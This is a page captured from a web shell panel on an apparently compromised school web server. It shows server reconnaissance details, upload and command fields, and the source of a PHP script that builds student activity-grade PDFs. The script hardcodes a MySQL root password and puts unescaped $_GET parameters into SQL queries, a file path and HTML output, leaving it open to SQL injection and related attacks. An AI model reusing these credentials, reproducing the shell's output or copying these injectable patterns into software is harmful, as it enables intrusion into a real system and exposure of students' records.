403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gpa/print/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gpa/print//index642.php
<?php
require('fpdf.php');
define('FPDF_FONTPATH','font/');
 
class PDF extends FPDF
{


function TextWithDirection($x, $y, $txt, $direction='R')
{
    if ($direction=='R')
        $s=sprintf('BT %.2F %.2F %.2F %.2F %.2F %.2F Tm (%s) Tj ET',1,0,0,1,$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
    elseif ($direction=='L')
        $s=sprintf('BT %.2F %.2F %.2F %.2F %.2F %.2F Tm (%s) Tj ET',-1,0,0,-1,$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
    elseif ($direction=='U')
        $s=sprintf('BT %.2F %.2F %.2F %.2F %.2F %.2F Tm (%s) Tj ET',0,1,-1,0,$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
    elseif ($direction=='D')
        $s=sprintf('BT %.2F %.2F %.2F %.2F %.2F %.2F Tm (%s) Tj ET',0,-1,1,0,$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
    else
        $s=sprintf('BT %.2F %.2F Td (%s) Tj ET',$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
    if ($this->ColorFlag)
        $s='q '.$this->TextColor.' '.$s.' Q';
    $this->_out($s);
}

function TextWithRotation($x, $y, $txt, $txt_angle, $font_angle=0)
{
    $font_angle+=90+$txt_angle;
    $txt_angle*=M_PI/180;
    $font_angle*=M_PI/180;

    $txt_dx=cos($txt_angle);
    $txt_dy=sin($txt_angle);
    $font_dx=cos($font_angle);
    $font_dy=sin($font_angle);

    $s=sprintf('BT %.2F %.2F %.2F %.2F %.2F %.2F Tm (%s) Tj ET',$txt_dx,$txt_dy,$font_dx,$font_dy,$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
    if ($this->ColorFlag)
        $s='q '.$this->TextColor.' '.$s.' Q';
    $this->_out($s);
}



function Header(){
			$this->Image('logo.jpg',9,4,196);
			$this->AddFont('angsa','','angsa.php');
			$this->SetFont('angsa','',15);
	 		$this->Text(0,0,iconv( 'UTF-8','TIS-620','หน้าที่. '.$this->PageNo()),0,1,"R");
			$this->Ln(35);

}
function Footer(){
			$this->AddFont('angsa','','angsa.php');
			$this->SetFont('angsa','',10);
			$this->SetY(-15);
	 		$this->Cell(0,0,iconv( 'UTF-8','TIS-620','BY gpa.klws.ac.th.'.$_GET[name]),0,1,"L");
			$this->Cell(0,0,iconv( 'UTF-8','TIS-620','Create date : '.date("Y-m-d")),0,1,"R");
		}


//Load data
function LoadData($file)
{
    //Read file lines
   $lines=file($file);
   $data=array();
    foreach($lines as $line)
      $data[]=explode(';',chop($line));
    return $data;
}









//Simple table
function BasicTable($header,$data)
{
   //Header
  $w1=array(10,15,50,8,8,8,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,5,5,5,5);
   //Header


   

   for($i=0;$i<count($header);$i++)
     $this->Cell($w1[$i],0,$header[$i],1,0,'C');
    $this->Ln();
  //Data
  $w2=3;
  $rang=1;
  
  
   
   
   foreach ($data as $eachResult)

	  
  {
	     $this->Cell(10,6,iconv('UTF-8','TIS-620',$rang),1); 
        $this->Cell(15,6,$eachResult["Username"],1,0,'C');
        $this->Cell(50,6,$eachResult["prefix"].$eachResult["Name"].'   '.$eachResult["surname"],1,0,'L');
       $this->Cell(8,6 ,$eachResult["cllass"],1,0,'C');
	   $this->Cell(8,6,$eachResult["room"],1,0,'C');
	   $this->Cell(8,6,$eachResult["ordinal"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');

	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');


	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');


	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');

	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');
	   $this->Cell($w2,6,$eachResult["day"],1,0,'C');



	   $this->Cell(5,6,$eachResult["day"],1,0,'C');
	   $this->Cell(5,6,$eachResult["day"],1,0,'C');
	   $this->Cell(5,6,$eachResult["gradeac"],1,0,'C');
	   $this->Cell(5,6,$eachResult["day"],1,0,'C');

      $this->Ln();
	  $rang++;
   }
}

//Better table
function ImprovedTable($header,$data)
{
  //Column widths
   $w=array(15,25,25,30,35,25,25);
    //Header
    for($i=0;$i<count($header);$i++)
        $this->Cell($w[$i],7,$header[$i],1,0,'C');
    $this->Ln();
   //Data
 
    foreach ($data as $eachResult)
    {
        $this->Cell(15,6,$eachResult["expose_id"],1,0,'C');
        $this->Cell(20,6,$eachResult["expose_product"],1,0,'C');
        $this->Cell(25,6,$eachResult["expose_number"],1,0,'C');
       $this->Cell(30,6 ,$eachResult["expose_name"],1,0,'C');
	   $this->Cell(35,6,$eachResult["expose_lastname"],1,0,'C');
	   $this->Cell(25,6,$eachResult["product_code"],1,0,'C');
        $this->Cell(25,6,number_format($eachResult["day"],2),1,0,'C');
       $this->Ln();
   }

 
  



    //Closure line
    $this->Cell(array_sum($w),0,'','T');
}
 
//Colored table
function FancyTable($header,$data)
{
    //Colors, line width and bold font
   $this->SetFillColor(255,0,0);
   $this->SetTextColor(255);
    $this->SetDrawColor(128,0,0);
    $this->SetLineWidth(.3);
    $this->SetFont('','B');
   //Header
    $w=array(15,20,25,10,10,10,5,5);
    for($i=0;$i<count($header);$i++)
        $this->Cell($w[$i],7,$header[$i],1,0,'C',true);
    $this->Ln();
    //Color and font restoration
   $this->SetFillColor(224,235,255);
    $this->SetTextColor(0);
    $this->SetFont('');
    //Data
   $fill=false;
   foreach($data as $row)
    {
        $this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);
        $this->Cell($w[1],6,$row[1],'LR',0,'L',$fill);
        $this->Cell($w[2],6,$row[2],'LR',0,'L',$fill);
       $this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);
      $this->Cell($w[4],6,number_format($row[4]),'LR',0,'R',$fill);
       $this->Cell($w[5],6,number_format($row[5]),'LR',0,'R',$fill);
       $this->Ln();
        $fill=!$fill;
   }
   $this->Cell(array_sum($w),0,'','T');
}
}
 
$pdf=new PDF('P' , 'mm' , 'A4' );

//Column titles

//$header=array('ที่','รหัสนร.','ชื่อ','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
$header=array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
//Data loading
 
//*** Load MySQL Data ***//
$objConnect = mysql_connect("localhost","root","klw3322") or die("Error Connect to Database");
$objDB = mysql_select_db("klw");
mysql_query("set NAMES'tis620'");// set อักขระให้เป็น Utf8  เพิ่มตรงนี้เลยครับ   รับรองได้ชัวครับ
$strSQL = "SELECT * FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE codeac = '$_GET[id]' and room='$_GET[room]' and cllass!=4  order by cllass asc,room+1 asc,ordinal+1 asc";
$objQuery = mysql_query($strSQL);
$resultData = array();
for ($i=0;$i<mysql_num_rows($objQuery);$i++) {
   $result = mysql_fetch_array($objQuery);
   array_push($resultData,$result);
   
}


$sub=$_GET[id];


$_month_name = array("01"=>"มกราคม",  "02"=>"กุมภาพันธ์",  "03"=>"มีนาคม",    
    "04"=>"เมษายน",  "05"=>"พฤษภาคม",  "06"=>"มิถุนายน",    
    "07"=>"กรกฎาคม",  "08"=>"สิงหาคม",  "09"=>"กันยายน",    
    "10"=>"ตุลาคม", "11"=>"พฤศจิกายน",  "12"=>"ธันวาคม"); 
 
 $vardate=date('Y-m-d');
 $yy=date('Y');
 $mm =date('m');$dd=date('d'); 
if ($dd<10){
    $dd=substr($dd,1,2);
}
  $date=$dd ." ".$_month_name[$mm]."  ".$yy+= 543;


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=1 and codeac='$_GET[id]'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum1=$dcrd[0];

$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=1 and codeac='$_GET[id]' and gradeac='ผ' ";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum1p=$dcrd[0];


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=1 and codeac='$_GET[id]' and gradeac='มผ' ";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum1mp=$dcrd[0];
///////////////
					
$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=2 and codeac='$_GET[id]'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum2=$dcrd[0];	


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=2 and codeac='$_GET[id]' and gradeac='ผ'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum2p=$dcrd[0];


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=2 and codeac='$_GET[id]' and gradeac='มผ'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum2mp=$dcrd[0];

///////////

$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=3 and codeac='$_GET[id]'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum3=$dcrd[0];	


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=3 and codeac='$_GET[id]' and gradeac='ผ'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum3p=$dcrd[0];	


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=3 and codeac='$_GET[id]' and gradeac='มผ' ";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum3mp=$dcrd[0];	


///////


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=4 and codeac='$_GET[id]'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum4=$dcrd[0];	

$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=4 and codeac='$_GET[id]' and gradeac='ผ' ";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum4p=$dcrd[0];	

$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=4 and codeac='$_GET[id]' and gradeac='มผ'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum4mp=$dcrd[0];	
//////


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=5 and codeac='$_GET[id]'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum5=$dcrd[0];	


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=5 and codeac='$_GET[id]' and gradeac='ผ'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum5p=$dcrd[0];	



$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=5 and codeac='$_GET[id]' and gradeac='มผ'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum5mp=$dcrd[0];	

/////

$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=6 and codeac='$_GET[id]'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum6=$dcrd[0];	

$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=6 and codeac='$_GET[id]' and gradeac='ผ'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum6p=$dcrd[0];	


$crsql="SELECT count(Username) FROM transcripsactivi64 join klw on klw.Username=transcripsactivi64.idstuac WHERE cllass=6 and codeac='$_GET[id]' and gradeac='มผ'";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$sum6mp=$dcrd[0];	



$crsql="SELECT (years) FROM config";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$years=$dcrd[0];


$crsql="SELECT (termx) FROM config";
$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
$dcrd = mysql_fetch_array($slr);
$termx=$dcrd[0];	




								
$sumall=$sum1+$sum2+$sum3+$sum4+$sum5+$sum6;
//************************//
$pdf->AddFont('angsana','','angsa.php');
 

$pdf->AddFont('angsana','B','angsab.php');
 

$pdf->AddFont('angsana','I','angsai.php');
 

$pdf->AddFont('angsana','BI','angsaz.php');
 

$pdf->SetFont('angsana','',13);

//*** Table 1 ***//

$pdf->AddPage();
$pdf->AddFont('angsana','B','angsab.php');
//$pdf->Image('logo.jpg',80,8,33);
//$pdf->Image('line.png',101,52,83);
//$pdf->Image('line.png',101,62,83);
//$pdf->Image('line.png',101,72,83);
$pdf->SetFont('angsana','',15);
//$pdf->TextWithRotation(188,80,'มา',90,-45);
//$pdf->TextWithRotation(192,80,'ขาด',90,-45);
//$pdf->TextWithRotation(198,80,'ประเมินผล',90,-45);
//$pdf->TextWithRotation(202,80,'ระดับคุณภาพ',90,-45);
//$pdf->Text(102,50,'เดือน',0,1);
//$pdf->Text(102,60,'วันที่',0,1);
//$pdf->Text(102,70,'คาบ',0,1);
//$pdf->Text(102,30,'วิชากิจกรรม'.$_GET[name],0,1);

//$pdf->Text(87,80,'ชั้น',0,1);
//$pdf->Text(94,80,'ห้อง',0,1);
//$pdf->Text(87,80,'ชั้น',0,1);
//$pdf->Text(102,80,'เลขที่',0,1);

//$pdf->Text(180,290,$date,0,1);




$pdf->Ln(-0);

$pdf->SetFont('angsana','',14);
$pdf->BasicTable($header,$resultData);

	



 
//*** Table 2 ***//



//$pdf->AddPage();
//$pdf->Image('logo.png',80,8,33);
//$pdf->Ln(35);
//$pdf->ImprovedTable($header,$resultData);
 
//*** Table 3 ***//
//$pdf->AddPage();
//$pdf->Image('logo.jpg',85,7,33);
//$pdf->Ln(35);
//$pdf->FancyTable($header,$resultData);
//$pdf->SetFont('angsana','',18);
//$pdf->Text(65,46,'งานกิจกรรมพัฒนาผู้เรียน โรงเรียนกันทรลักษ์วิทยา',0,1,'C');
//$pdf->Text(90,56,'จังหวัดศรีสะเกษ',0,1,'C');
//$pdf->Text(65,128,'สรุปผลการประเมินกิจกรรมพัฒนาผู้เรียน',0,1,'C');
//$pdf->Text(73,138,'จำนวนนักเรียนในแต่ละระดับชั้น',0,1,'C');
//$pdf->Text(160,138,'รวม',0,1,'C');
//$pdf->Text(90,178,'รวมนักเรียนทั้งหมด',0,1,'C');
//$pdf->Text(90,190,'การอนุมัติผลการเรียน',0,1,'C');

//$pdf->Text(80,200,'ลงชื่อ...................................ครูที่ปรึกษากิจกรรมชุมนุม',0,1,'C');
//$pdf->Text(80,210,'ลงชื่อ...................................หัวหน้างานกิจกรรมพัฒนาผู้เรียน',0,1,'C');
//$pdf->Text(80,220,'ลงชื่อ...................................รองผู้อำนวยการฝ่ายบริหารงานวิชาการ',0,1,'C');
//$pdf->Text(80,260,'ลงชื่อ...................................ผู้บริหารสถานศึกษา',0,1,'C');
//$pdf->Text(85,270,'............/.............../..........',0,1,'C');
//$pdf->Text(85,230,'เรียนเสนอเพื่อโปรดพิจารณา',0,1,'C');
//$pdf->Text(90,240,'อนุมัติ',0,1,'C');
//$pdf->Text(130,240,'ไม่อนุมัติ',0,1,'C');


//$pdf->Text(73,65,'แบบประเมินผลกิจกรรมพัฒนาผู้เรียน',0,1,'C');
//$pdf->Cell(0,60,'ชุมนุม'.'  '.$_GET[name],0 ,1,'C');
//$pdf->Text(73,85,'ภาคเรียนที่'.'    '.$termx,0,1,'C');
//$pdf->Text(103,85,'ปีการศึกษา'.'  '.$years,0,1,'C');
//$pdf->Text(40,100,'ครูที่ปรึกษากิจกรรม 1..............................................................................',0,1,'C');
//$pdf->Text(75,110,'2..............................................................................',0,1,'C');
//$pdf->Text(45,156,'ผ',0,1);
//$pdf->Text(45,166,'มผ',0,1);
//$pdf->Image('line.png',40,120,140);
//$pdf->Image('line.png',60,130,90);
//$pdf->Image('line.png',60,140,90);
//$pdf->Image('line.png',40,150,140);
//$pdf->Image('line.png',40,160,140);
//$pdf->Image('line.png',40,170,140);
//$pdf->Image('line.png',40,180,140);


//$pdf->Image('linet.png',40,120,-85);
//$pdf->Image('linet.png',180,120,-85);

//$pdf->Image('linet.png',60,120,-100);
//$pdf->Image('linet.png',75,140,-170);
//$pdf->Image('linet.png',90,140,-170);
//$pdf->Image('linet.png',105,140,-170);
//$pdf->Image('linet.png',120,140,-170);
//$pdf->Image('linet.png',135,140,-170);
//$pdf->Image('linet.png',150,120,-85);


/////////////////////////////////////$pdf->Text(64,148,$years,0,1);


//$pdf->Text(63,144,'ม.1',0,1);
//$pdf->Text(64,148,$sum1,0,1);
//$pdf->Text(64,156,$sum1p,0,1);
//$pdf->Text(64,168,$sum1mp,0,1);
//$pdf->Text(81,144,'ม.2',0,1);
//$pdf->Text(81,148,$sum2,0,1);
//$pdf->Text(81,156,$sum2p,0,1);
//$pdf->Text(81,168,$sum2mp,0,1);

//$pdf->Text(95,144,'ม.3',0,1);
//$pdf->Text(97,148,$sum3,0,1);
//$pdf->Text(97,156,$sum3p,0,1);
//$pdf->Text(97,168,$sum3mp,0,1);

//$pdf->Text(108,144,'ม.4',0,1);
//$pdf->Text(111,148,$sum4,0,1);
//$pdf->Text(111,156,$sum4p,0,1);
//$pdf->Text(111,168,$sum4mp,0,1);


//$pdf->Text(124,144,'ม.5',0,1);
//$pdf->Text(127,148,$sum5,0,1);
//$pdf->Text(127,156,$sum5p,0,1);
//$pdf->Text(127,168,$sum5mp,0,1);  


//$pdf->Text(138,144,'ม.6',0,1);
//$pdf->Text(141,148,$sum6,0,1);
//$pdf->Text(141,156,$sum6p,0,1);
//$pdf->Text(141,168,$sum6mp,0,1);

//$sumpall=$sum6p+$sum5p+$sum4p+$sum3p+$sum2p+$sum1p;
//$summpall=$sum6mp+$sum5mp+$sum4mp+$sum3mp+$sum2mp+$sum1mp;

//$pdf->Text(160,156,$sumpall,0,1);
//$pdf->Text(160,168,$summpall,0,1);


//$pdf->Text(160,178,$sumall,0,1);


//$pdf->Image('4.png',80,234,10);
//$pdf->Image('4.png',120,234,10);

$pdf->Output("MyPDF/$sub.pdf","F");



?>

PDF Open Click <a href="MyPDF/<? echo $sub; ?>.pdf">here</a> to Open


</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit